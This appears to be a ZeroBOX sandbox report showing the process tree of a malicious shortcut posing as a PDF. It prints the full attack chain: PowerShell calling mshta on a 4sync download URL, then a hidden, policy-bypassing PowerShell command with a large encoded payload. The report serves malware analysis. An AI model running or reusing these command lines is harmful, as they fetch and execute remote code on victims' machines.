popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "xHmp" C:\Users\test22\AppData\Local\Temp\pupa.pdf.lnk

    2556

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object -ComObject Shell.Application).ShellExecute('mshta', 'https://www.4sync.com/web/directDownload/gPp9O6FS/LO8xSpi2.e58d1db51e9c61f9e939f307fb0c0d77')

      2668

      • mshta.exe "C:\Windows\System32\mshta.exe" https://www.4sync.com/web/directDownload/gPp9O6FS/LO8xSpi2.e58d1db51e9c61f9e939f307fb0c0d77

        2824

        • cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -w h -nop -ep un -E JABhAHEAVgAgAD0AIAAnADYAOQA2ADUANwA4ADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADcANwA0ADcANwA3ADIAOAAyADQANwAzADUAOQA3ADAAMgBDADIAMAAyADQANQA5ADYARgA0AEMAMgA5ADcAQgA3ADMANgAzADIAMAAyADQANwAzADUAOQA3ADAAMgAwADIANAA1ADkANgBGADQAQwAyADAAMgBEADQANQA2AEUANgAzADYARgA2ADQANgA5ADYARQA2ADcAMgAwADQAMgA3ADkANwA0ADYANQA3AEQAMwBCADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADUAMAA2ADYANQA2ADIAOAAyADQANwAzADUAOQA3ADAAMgA5ADcAQgA3ADMANwA0ADYAMQA3ADIANwA0ADIAMAAyADQANwAzADUAOQA3ADAAMgAwADcARAAzAEIANgA2ADcANQA2AEUANgAzADcANAA2ADkANgBGADYARQAyADAANgA3ADQANgA1ADcAMgA4ADIANAA2ADEANwAxADUANgAyADkANwBCADIANAA2ADIANQA0ADQAMQAyADAAMwBEADIAMAA0AEUANgA1ADcANwAyAEQANABGADYAMgA2AEEANgA1ADYAMwA3ADQAMgAwADIAOAA2ADUANgBEADYAQgAyADAANAAwADIAOAAzADEAMwAyADMAMgAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADYAMwAwADIAQwAzADkAMwAwADIAQwAzADEAMwAzADMAMQAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADQAMwAyADIAQwAzADEAMwAxADMAMQAyAEMAMwAxADMANQAzADIAMgBDADMAMQAzADQAMwA5ADIAQwAzADEAMwA0ADMANQAyAEMAMwAxADMANQAzADQAMgBDADMAMQAzADYAMwAwADIAOQAyADkAMwBCADIANAA1ADkANgBGADQAQwAyADAAMwBEADIAMAAyADQANgAyADUANAA0ADEAMgBFADQANAA2AEYANwA3ADYARQA2AEMANgBGADYAMQA2ADQANAA0ADYAMQA3ADQANgAxADIAOAAyADQANgAxADcAMQA1ADYAMgA5ADMAQgA3ADIANgA1ADcANAA3ADUANwAyADYARQAyADAAMgA0ADUAOQA2AEYANABDADcARAAzAEIANgA2ADcANQA2AEUANgAzADcANAA2ADkANgBGADYARQAyADAANgA1ADYARAA2AEIAMgA4ADIANAA0ADEANQA2ADYAQgAyADkANwBCADIAOAAyADQANAAxADUANgA2AEIAMgAwADcAQwAyADUANwBCADIAMAA1AEIANgAzADYAOAA2ADEANwAyADUARAAyADgAMgA0ADUARgAyADAAMgBEADIAMAAzADQAMwA0ADIAOQAyADAANwBEADIAOQAyADAAMgBEADYAQQA2AEYANgA5ADYARQAyADAAMgA3ADIANwA3AEQAMwBCADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADYANwA2ADIANQA4ADIAOAAyADkANwBCADIANAA0ADcANQA4ADcAMwAyADAAMwBEADIAMAAyADQANgA1ADYARQA3ADYAMwBBADQAMQA3ADAANwAwADQANAA2ADEANwA0ADYAMQAyADAAMgBCADIAMAAyADcANQBDADIANwAzAEIAMgA0ADcAOQA2ADYANgBDADMARAAyADAAMgA0ADYANQA2AEUANwA2ADMAQQA0ADEANwAwADcAMAA0ADQANgAxADcANAA2ADEAMwBCADIANAA0ADgANgBCADYAQQAyADAAMwBEADIAMAAyADQANwA5ADYANgA2AEMAMgAwADIAQgAyADAAMgA3ADUAQwA3ADMANgAxADYARAA3ADAANgBDADYANQAyAEUANwAwADYANAA2ADYAMgA3ADMAQgA0ADkANgA2ADIAOAA1ADQANgA1ADcAMwA3ADQAMgBEADUAMAA2ADEANwA0ADYAOAAyADAAMgA0ADQAOAA2AEIANgBBADIAOQA3AEIANgA5ADYAOQAyADAAMgA0ADQAOAA2AEIANgBBADMAQgA3AEQANAA1ADYAQwA3ADMANgA1ADcAQgAyADAAMgA0ADcAOAA3AEEANQA5ADIAMAAzAEQAMgAwADYANwA0ADYANQA3ADIAMAAyADgANgA1ADYARAA2AEIAMgAwADQAMAAyADgAMwAxADMANAAzADgAMgBDADMAMQAzADYAMwAwADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwA5ADIAQwAzADEAMwAwADMAMgAyAEMAMwA5ADMAMQAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyAEMAMwAxADMANQAzADUAMgBDADMAMQAzADQAMwAyADIAQwAzADEAMwA1ADMAMAAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADQAMwAzADIAQwAzADEAMwA2ADMAMAAyAEMAMwA5ADMAMAAyAEMAMwAxADMANAAzADMAMgBDADMAMQAzADUAMwA1ADIAQwAzADEAMwA1ADMAMwAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADkAMgBDADMAMQAzADQAMwAxADIAQwAzADEAMwA1ADMAMwAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwAyADIAQwAzADEAMwA0ADMANQAyAEMAMwA5ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyADkAMgA5ADMAQgA3ADcANAA3ADcANwAyADAAMgA0ADQAOAA2AEIANgBBADIAMAAyADQANwA4ADcAQQA1ADkAMwBCADYAOQA2ADkAMgAwADIANAA0ADgANgBCADYAQQAzAEIANwBEADMAQgAzAEIAMwBCADIANAA0AEIANAA4ADYAMwA1ADkANAAzADYARQA1ADUANQA4ADcAOQA2ADkANQAyADUAQQA2AEEANABBADIAMAAzAEQAMgAwADIANAA0ADcANQA4ADcAMwAyADAAMgBCADIAMAAyADcANwA0ADcANAAyAEUANgA1ADcAOAA2ADUAMgA3ADMAQgA2ADkANgA2ADIAOAA1ADQANgA1ADcAMwA3ADQAMgBEADUAMAA2ADEANwA0ADYAOAAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEAMgA5ADcAQgA1ADAANgA2ADUANgAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEANwBEADQANQA2AEMANwAzADYANQA3AEIAMgA0ADYANQA0ADIANQAwADcANwA2ADUANgBEADQAQwA3ADUANQAyADcAMQA1ADcANwAxADUANQA3ADcANwAxADMARAA2ADcANAA2ADUANwAyADgANgA1ADYARAA2AEIAMgAwADQAMAAyADgAMwAxADMANAAzADgAMgBDADMAMQAzADYAMwAwADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwA5ADIAQwAzADEAMwAwADMAMgAyAEMAMwA5ADMAMQAyAEMAMwA5ADMAMQAyAEMAMwAxADMANgAzADMAMgBDADMAMQAzADYAMwAzADIAQwAzADEAMwA2ADMAMwAyAEMAMwA5ADMAMAAyAEMAMwA5ADMANgAyAEMAMwAxADMANQAzADkAMgBDADMAMQAzADYAMwA1ADIAQwAzADEAMwA1ADMANAAyAEMAMwAxADMANAAzADMAMgBDADMAOQAzADAAMgBDADMAMQAzADQAMwAzADIAQwAzADEAMwA1ADMANQAyAEMAMwAxADMANQAzADMAMgBDADMAOQAzADEAMgBDADMAMQAzADUAMwA5ADIAQwAzADkAMwAxADIAQwAzADEAMwA0ADMANgAyAEMAMwAxADMAMwAzADkAMgBDADMAMQAzADYAMwAxADIAQwAzADgAMwA5ADIAQwAzADkAMwA5ADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMAMgAzADEAMgBDADMAMQAzADUAMwA2ADIAQwAzADEAMwAyADMAMgAyAEMAMwA5ADMAMQAyAEMAMwAxADMANgAzADAAMgBDADMAMQAzADYAMwAwADIAQwAzADkAMwAwADIAQwAzADEAMwA0ADMANQAyAEMAMwAxADMANgAzADQAMgBDADMAMQAzADQAMwA1ADIAOQAyADkAMwBCADcANwA0ADcANwA3ADIAMAAyADQANABCADQAOAA2ADMANQA5ADQAMwA2AEUANQA1ADUAOAA3ADkANgA5ADUAMgA1AEEANgBBADQAQQAyADAAMgA0ADYANQA0ADIANQAwADcANwA2ADUANgBEADQAQwA3ADUANQAyADcAMQA1ADcANwAxADUANQA3ADcANwAxADMAQgA1ADAANgA2ADUANgAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEANwBEADMAQgAzAEIAMwBCADcARAA2ADcANgAyADUAOAAzAEIAJwA7ACQAYgBUAEEAPQAnACcAOwAgAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABhAHEAVgAuAEwAZQBuAGcAdABoADsAJABpACsAPQAyACkAewAkAGIAVABBACsAPQBbAGMAaABhAHIAXQAoAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8ASQBuAHQAMwAyACgAJABhAHEAVgAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAMgApACwAMQA2ACkAKQB9ADsAIAAmACAAKAAgACQAYgBUAEEAWwAwAC4ALgAyAF0AIAAtAGoAbwBpAG4AIAAnACcAIAApACAAKAAgACQAYgBUAEEAWwAzAC4ALgAoACQAYgBUAEEALgBMAGUAbgBnAHQAaAAtADEAKQBdACAALQBqAG8AaQBuACAAJwAnACAAKQA=

          3000

          • powershell.exe powershell.exe -w h -nop -ep un -E JABhAHEAVgAgAD0AIAAnADYAOQA2ADUANwA4ADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADcANwA0ADcANwA3ADIAOAAyADQANwAzADUAOQA3ADAAMgBDADIAMAAyADQANQA5ADYARgA0AEMAMgA5ADcAQgA3ADMANgAzADIAMAAyADQANwAzADUAOQA3ADAAMgAwADIANAA1ADkANgBGADQAQwAyADAAMgBEADQANQA2AEUANgAzADYARgA2ADQANgA5ADYARQA2ADcAMgAwADQAMgA3ADkANwA0ADYANQA3AEQAMwBCADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADUAMAA2ADYANQA2ADIAOAAyADQANwAzADUAOQA3ADAAMgA5ADcAQgA3ADMANwA0ADYAMQA3ADIANwA0ADIAMAAyADQANwAzADUAOQA3ADAAMgAwADcARAAzAEIANgA2ADcANQA2AEUANgAzADcANAA2ADkANgBGADYARQAyADAANgA3ADQANgA1ADcAMgA4ADIANAA2ADEANwAxADUANgAyADkANwBCADIANAA2ADIANQA0ADQAMQAyADAAMwBEADIAMAA0AEUANgA1ADcANwAyAEQANABGADYAMgA2AEEANgA1ADYAMwA3ADQAMgAwADIAOAA2ADUANgBEADYAQgAyADAANAAwADIAOAAzADEAMwAyADMAMgAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADYAMwAwADIAQwAzADkAMwAwADIAQwAzADEAMwAzADMAMQAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADQAMwAyADIAQwAzADEAMwAxADMAMQAyAEMAMwAxADMANQAzADIAMgBDADMAMQAzADQAMwA5ADIAQwAzADEAMwA0ADMANQAyAEMAMwAxADMANQAzADQAMgBDADMAMQAzADYAMwAwADIAOQAyADkAMwBCADIANAA1ADkANgBGADQAQwAyADAAMwBEADIAMAAyADQANgAyADUANAA0ADEAMgBFADQANAA2AEYANwA3ADYARQA2AEMANgBGADYAMQA2ADQANAA0ADYAMQA3ADQANgAxADIAOAAyADQANgAxADcAMQA1ADYAMgA5ADMAQgA3ADIANgA1ADcANAA3ADUANwAyADYARQAyADAAMgA0ADUAOQA2AEYANABDADcARAAzAEIANgA2ADcANQA2AEUANgAzADcANAA2ADkANgBGADYARQAyADAANgA1ADYARAA2AEIAMgA4ADIANAA0ADEANQA2ADYAQgAyADkANwBCADIAOAAyADQANAAxADUANgA2AEIAMgAwADcAQwAyADUANwBCADIAMAA1AEIANgAzADYAOAA2ADEANwAyADUARAAyADgAMgA0ADUARgAyADAAMgBEADIAMAAzADQAMwA0ADIAOQAyADAANwBEADIAOQAyADAAMgBEADYAQQA2AEYANgA5ADYARQAyADAAMgA3ADIANwA3AEQAMwBCADYANgA3ADUANgBFADYAMwA3ADQANgA5ADYARgA2AEUAMgAwADYANwA2ADIANQA4ADIAOAAyADkANwBCADIANAA0ADcANQA4ADcAMwAyADAAMwBEADIAMAAyADQANgA1ADYARQA3ADYAMwBBADQAMQA3ADAANwAwADQANAA2ADEANwA0ADYAMQAyADAAMgBCADIAMAAyADcANQBDADIANwAzAEIAMgA0ADcAOQA2ADYANgBDADMARAAyADAAMgA0ADYANQA2AEUANwA2ADMAQQA0ADEANwAwADcAMAA0ADQANgAxADcANAA2ADEAMwBCADIANAA0ADgANgBCADYAQQAyADAAMwBEADIAMAAyADQANwA5ADYANgA2AEMAMgAwADIAQgAyADAAMgA3ADUAQwA3ADMANgAxADYARAA3ADAANgBDADYANQAyAEUANwAwADYANAA2ADYAMgA3ADMAQgA0ADkANgA2ADIAOAA1ADQANgA1ADcAMwA3ADQAMgBEADUAMAA2ADEANwA0ADYAOAAyADAAMgA0ADQAOAA2AEIANgBBADIAOQA3AEIANgA5ADYAOQAyADAAMgA0ADQAOAA2AEIANgBBADMAQgA3AEQANAA1ADYAQwA3ADMANgA1ADcAQgAyADAAMgA0ADcAOAA3AEEANQA5ADIAMAAzAEQAMgAwADYANwA0ADYANQA3ADIAMAAyADgANgA1ADYARAA2AEIAMgAwADQAMAAyADgAMwAxADMANAAzADgAMgBDADMAMQAzADYAMwAwADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwA5ADIAQwAzADEAMwAwADMAMgAyAEMAMwA5ADMAMQAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyAEMAMwAxADMANQAzADUAMgBDADMAMQAzADQAMwAyADIAQwAzADEAMwA1ADMAMAAyAEMAMwAxADMANAAzADUAMgBDADMAMQAzADQAMwAzADIAQwAzADEAMwA2ADMAMAAyAEMAMwA5ADMAMAAyAEMAMwAxADMANAAzADMAMgBDADMAMQAzADUAMwA1ADIAQwAzADEAMwA1ADMAMwAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyAEMAMwA5ADMAMQAyAEMAMwAxADMANQAzADkAMgBDADMAMQAzADQAMwAxADIAQwAzADEAMwA1ADMAMwAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwAyADIAQwAzADEAMwA0ADMANQAyAEMAMwA5ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADQAMwA0ADIAQwAzADEAMwA0ADMANgAyADkAMgA5ADMAQgA3ADcANAA3ADcANwAyADAAMgA0ADQAOAA2AEIANgBBADIAMAAyADQANwA4ADcAQQA1ADkAMwBCADYAOQA2ADkAMgAwADIANAA0ADgANgBCADYAQQAzAEIANwBEADMAQgAzAEIAMwBCADIANAA0AEIANAA4ADYAMwA1ADkANAAzADYARQA1ADUANQA4ADcAOQA2ADkANQAyADUAQQA2AEEANABBADIAMAAzAEQAMgAwADIANAA0ADcANQA4ADcAMwAyADAAMgBCADIAMAAyADcANwA0ADcANAAyAEUANgA1ADcAOAA2ADUAMgA3ADMAQgA2ADkANgA2ADIAOAA1ADQANgA1ADcAMwA3ADQAMgBEADUAMAA2ADEANwA0ADYAOAAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEAMgA5ADcAQgA1ADAANgA2ADUANgAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEANwBEADQANQA2AEMANwAzADYANQA3AEIAMgA0ADYANQA0ADIANQAwADcANwA2ADUANgBEADQAQwA3ADUANQAyADcAMQA1ADcANwAxADUANQA3ADcANwAxADMARAA2ADcANAA2ADUANwAyADgANgA1ADYARAA2AEIAMgAwADQAMAAyADgAMwAxADMANAAzADgAMgBDADMAMQAzADYAMwAwADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMANQAzADYAMgBDADMAMQAzADUAMwA5ADIAQwAzADEAMwAwADMAMgAyAEMAMwA5ADMAMQAyAEMAMwA5ADMAMQAyAEMAMwAxADMANgAzADMAMgBDADMAMQAzADYAMwAzADIAQwAzADEAMwA2ADMAMwAyAEMAMwA5ADMAMAAyAEMAMwA5ADMANgAyAEMAMwAxADMANQAzADkAMgBDADMAMQAzADYAMwA1ADIAQwAzADEAMwA1ADMANAAyAEMAMwAxADMANAAzADMAMgBDADMAOQAzADAAMgBDADMAMQAzADQAMwAzADIAQwAzADEAMwA1ADMANQAyAEMAMwAxADMANQAzADMAMgBDADMAOQAzADEAMgBDADMAMQAzADUAMwA5ADIAQwAzADkAMwAxADIAQwAzADEAMwA0ADMANgAyAEMAMwAxADMAMwAzADkAMgBDADMAMQAzADYAMwAxADIAQwAzADgAMwA5ADIAQwAzADkAMwA5ADIAQwAzADEAMwA2ADMAMAAyAEMAMwAxADMAMgAzADEAMgBDADMAMQAzADUAMwA2ADIAQwAzADEAMwAyADMAMgAyAEMAMwA5ADMAMQAyAEMAMwAxADMANgAzADAAMgBDADMAMQAzADYAMwAwADIAQwAzADkAMwAwADIAQwAzADEAMwA0ADMANQAyAEMAMwAxADMANgAzADQAMgBDADMAMQAzADQAMwA1ADIAOQAyADkAMwBCADcANwA0ADcANwA3ADIAMAAyADQANABCADQAOAA2ADMANQA5ADQAMwA2AEUANQA1ADUAOAA3ADkANgA5ADUAMgA1AEEANgBBADQAQQAyADAAMgA0ADYANQA0ADIANQAwADcANwA2ADUANgBEADQAQwA3ADUANQAyADcAMQA1ADcANwAxADUANQA3ADcANwAxADMAQgA1ADAANgA2ADUANgAyADAAMgA0ADQAQgA0ADgANgAzADUAOQA0ADMANgBFADUANQA1ADgANwA5ADYAOQA1ADIANQBBADYAQQA0AEEANwBEADMAQgAzAEIAMwBCADcARAA2ADcANgAyADUAOAAzAEIAJwA7ACQAYgBUAEEAPQAnACcAOwAgAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABhAHEAVgAuAEwAZQBuAGcAdABoADsAJABpACsAPQAyACkAewAkAGIAVABBACsAPQBbAGMAaABhAHIAXQAoAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8ASQBuAHQAMwAyACgAJABhAHEAVgAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAMgApACwAMQA2ACkAKQB9ADsAIAAmACAAKAAgACQAYgBUAEEAWwAwAC4ALgAyAF0AIAAtAGoAbwBpAG4AIAAnACcAIAApACAAKAAgACQAYgBUAEEAWwAzAC4ALgAoACQAYgBUAEEALgBMAGUAbgBnAHQAaAAtADEAKQBdACAALQBqAG8AaQBuACAAJwAnACAAKQA=

            3068

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf